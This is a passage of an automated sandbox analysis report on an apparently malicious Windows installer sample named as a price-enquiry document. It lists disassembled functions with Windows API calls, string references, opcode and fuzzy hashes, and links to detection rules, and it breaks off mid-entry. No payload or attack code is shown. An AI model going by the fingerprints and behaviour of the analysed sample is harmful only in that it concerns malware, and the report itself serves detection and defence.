Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction ID: 2f3b8c8ab01821edfbb7561a0937ed23110cd7788458c70898d592dcb6d42ddc
Opcode Fuzzy Hash: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction Fuzzy Hash: 8A516D31900219ABCF10DF65D944AAF7BACAF48756F10413BE910BB2C0D7389E51CBA9

Function 00404023 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404040
GetSysColor.USER32(00000000), ref: 0040405C
SetTextColor.GDI32(?,00000000), ref: 00404068
SetBkMode.GDI32(?,?), ref: 00404074
GetSysColor.USER32(?), ref: 00404087
SetBkColor.GDI32(?,?), ref: 00404097
DeleteObject.GDI32(?), ref: 004040B1
CreateBrushIndirect.GDI32(?), ref: 004040BB

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 7833da122bd5b54dba07469e608d39c2309fd7833842469cb0c606e819627665
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: 5A2184B19047449BCB319F68DD08B5B7BF8AF40714F048A29EA95F22E0C738E904CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405A66: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,?,00000000,00000000,00000000), ref: 00405A7A

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction ID: a762cbfc482fee2f38ad097521ed942063d68533c50e5d13a1d21fd8ed512a93
Opcode Fuzzy Hash: 7d41bcd3dae3dae80b68e9040ec7ff24257b7140080f1b6cb91404220a5539cb
Instruction Fuzzy Hash: 2E51E671E04209ABDF24DF94DE88AAEB779FF14304F50443BE501B62D0D7B99A42CB69

Function 004027E5 Relevance: 10.6, APIs: 7, Instructions: 75memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004059E3: GetFileAttributesW.KERNEL32(00000003,00402DA9,00437800,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GlobalAlloc.KERNEL32(?,?), ref: 00402809
CloseHandle.KERNEL32(?), ref: 0040288F

Part of subcall function 004031B4: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402F30,?,?,?,?,00000000,00403425,?), ref: 004031C2

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 00402825
GlobalFree.KERNEL32(?), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877

Part of subcall function 00402FA2: GetTickCount.KERNEL32 ref: 00403003
Part of subcall function 00402FA2: GetTickCount.KERNEL32 ref: 00403084
Part of subcall function 00402FA2: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 004030B1
Part of subcall function 00402FA2: wsprintfW.USER32 ref: 004030C4

DeleteFileW.KERNEL32(?), ref: 004028A3

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$Global$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerWritewsprintf
String ID:
API String ID: 3544248947-0
Opcode ID: f8b516229c3685aafc766c1a9217fe9af4b9c9d6005bf1c57ae4a0d94932f952
Instruction ID: 0e58b7afe1f3acd7bb22396cc78e983778dbaf884e5091fce70fd7bde21c8e84
Opcode Fuzzy Hash: f8b516229c3685aafc766c1a9217fe9af4b9c9d6005bf1c57ae4a0d94932f952
Instruction Fuzzy Hash: 0F215C72C00118BFDF11AFA5CE49CAE7E79EF08364B14423AF5147A2E0C6795E419BA9

Function 00405021 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
lstrlenW.KERNEL32(004030DB,00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,?,00000000), ref: 0040507C
SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 5311de40b5e01d4a13010175000a2bad7d1c43204c7bd2962c1bae2d6e379ef0
Instruction ID: 72d3c87754a4f2576c1daf3770cdfe6bbb79a9fd4797c08dd841ae8e1e27fedc
Opcode Fuzzy Hash: 5311de40b5e01d4a13010175000a2bad7d1c43204c7bd2962c1bae2d6e379ef0
Instruction Fuzzy Hash: AE219D71900518BBCB219F95DD84ADFBFB9EF45350F14807AF904B62A0C3798A41CFA8

Function 004048EB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404906
GetMessagePos.USER32 ref: 0040490E
ScreenToClient.USER32(?,?), ref: 00404928
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040493A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404960

Strings

f, xrefs: 0040493C

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 5094cac0cfd66b0e8cfd3256396541bb223221662a15d93018ee399e52c78ab9
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: B9014071D00219BADB00DBA4DD45FFFBBB8AB95B21F10016ABB10B71C0C7B4A5018B95

Function 00402C7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
MulDiv.KERNEL32(?,?,?), ref: 00402CC8
wsprintfW.USER32 ref: 00402CD8
SetWindowTextW.USER32(?,?), ref: 00402CE8
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CFA

Strings

verifying installer: %d%%, xrefs: 00402CD2

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction ID: 00b8461607dcb0b3980451466b6828af2013657049940e2aaaac4a967361d4db
Opcode Fuzzy Hash: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction Fuzzy Hash: F5012170604208BBEF249F60DD49BAE3B69FB00305F008039FA06A52D1DBB99954DB59

Function 0040600B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,004031D7,00436800,75923420,004033B7), ref: 0040606E
CharNextW.USER32(?,?,?,00000000), ref: 0040607D
CharNextW.USER32(?,00434000,00436800,00436800,00000000,004031D7,00436800,75923420,004033B7), ref: 00406082
CharPrevW.USER32(?,?,00436800,00436800,00000000,004031D7,00436800,75923420,004033B7), ref: 00406095

Strings

*?|<>/":, xrefs: 0040605D

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction ID: 5f8db4d4ef1aaeb388f58d13ad2a41ec80f6628d4c19804d17f22981d69c56f6
Opcode Fuzzy Hash: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction Fuzzy Hash: 5311C45684121299DB30BB199C40BB7A2E8EF54790F52803FED8A733C1E77C5C9286BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A550,000000FF,00409D50,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D50,?,?,0040A550,000000FF,00409D50,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D50,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: e4df8df7c44270ba33fb6fab13b76496744f5428df9d63e4514989387de34881
Instruction ID: 7a030a9c095cf7661290fe091fec1a729e70b9dbbd1292938289fd6a30d2cb41
Opcode Fuzzy Hash: e4df8df7c44270ba33fb6fab13b76496744f5428df9d63e4514989387de34881
Instruction Fuzzy Hash: 18018071A04204FFD700AFA09E89EAF7378AB10319F20453BB202B61D1D6B85D419A2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409550,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409550,00409550,00000000,00000000,00409550,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 00405021: lstrlenW.KERNEL32(00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,?,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 2dfaa2d881fc1c06d5e4e0df6492f18b4b0d9692730c2f93d6ef0e6210451604
Instruction ID: f5340c52137ac8e05323c68babe13c17cc5cde59bf11d192bd930834dcc8acac
Opcode Fuzzy Hash: 2dfaa2d881fc1c06d5e4e0df6492f18b4b0d9692730c2f93d6ef0e6210451604
Instruction Fuzzy Hash: C6419071900908BACF11BBB5CC46DAF7679EF05368F20863BF425B11E1D73C8A419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: e0d8e9b4b7c3dced49d372e318274e4029313fc8c3479f6e652278d6efa82a2c
Instruction ID: 24cb19e20ea0269922d23406ceb1d71d2baff7de250534ea652b51db9971d4c8
Opcode Fuzzy Hash: e0d8e9b4b7c3dced49d372e318274e4029313fc8c3479f6e652278d6efa82a2c
Instruction Fuzzy Hash: 2B113A71904008FEEF219F90DE89EAE3B79EB54348F104476FA05B10A0D3B59E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction ID: 5f088aa0ca27e90fd893fee14e64151101962dab4a112754cbcab5b472a91c15
Opcode Fuzzy Hash: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction Fuzzy Hash: 53F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08315B104466F601F5190C674AD018B39

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD58), ref: 00401DBC

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 42c6c5e2fb934de57d2e5b0808f6da945959834788a5d09a16a54919abba70a7
Instruction ID: 50cd7c3d9b324c63c10bedbdfe153cfa446442d7209eb1202fb80f546c31283e
Opcode Fuzzy Hash: 42c6c5e2fb934de57d2e5b0808f6da945959834788a5d09a16a54919abba70a7
Instruction Fuzzy Hash: D3016D71944280AFEB116BB0AE0AB9ABF74DF55301F14847AF141B62F2C7791005DBAE

Function 00404805 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422698,00422698,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404896
wsprintfW.USER32 ref: 0040489F
SetDlgItemTextW.USER32(?,00422698), ref: 004048B2

Strings

%u.%u%s%s, xrefs: 00404880

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a2fadf25a80c14b51bfb926aaeebc4ecf81a38fefb846c632a4bc85b75721053
Instruction ID: 59e17c8afd225f679fed4f3ac3ee25800eeb16d6bc796772b25e59257c8be9d1
Opcode Fuzzy Hash: a2fadf25a80c14b51bfb926aaeebc4ecf81a38fefb846c632a4bc85b75721053
Instruction Fuzzy Hash: FB11E2776002243BDB10666D9C49EEF369DDBC6334F14863BFA29F61D1E978881186E8

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction ID: 32ea72146a28600a98e99adc179119cd295c2a32732311222b232d5c22eb20b7
Opcode Fuzzy Hash: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction Fuzzy Hash: 8B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A550,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A550,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A550,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 5ece5b1e46cf5f1f204aeaf3e6a23d396b345020fae2ed77ba4f016eeb832ab1
Instruction ID: ff9c26e96d548ba14907c7cf0d775baaea3cd420635c28ab46d49cad89ffe0f3
Opcode Fuzzy Hash: 5ece5b1e46cf5f1f204aeaf3e6a23d396b345020fae2ed77ba4f016eeb832ab1
Instruction Fuzzy Hash: 311181B1A00108BEEB10AFA4DD49EAF777CEB50358F10443AF905B61D0D7B85D409A29

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 0040586D: CharNextW.USER32(?,?,00424EA0,?,004058E1,00424EA0,00424EA0,00436800,?,75923420,0040561F,?,00436800,75923420,00434000), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

CreateDirectoryW.KERNEL32(?,?,00000000,?,00000000,?), ref: 004015E3
GetLastError.KERNEL32(?,00000000,?,00000000,?), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,?,00000000,?), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,?), ref: 00401630

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
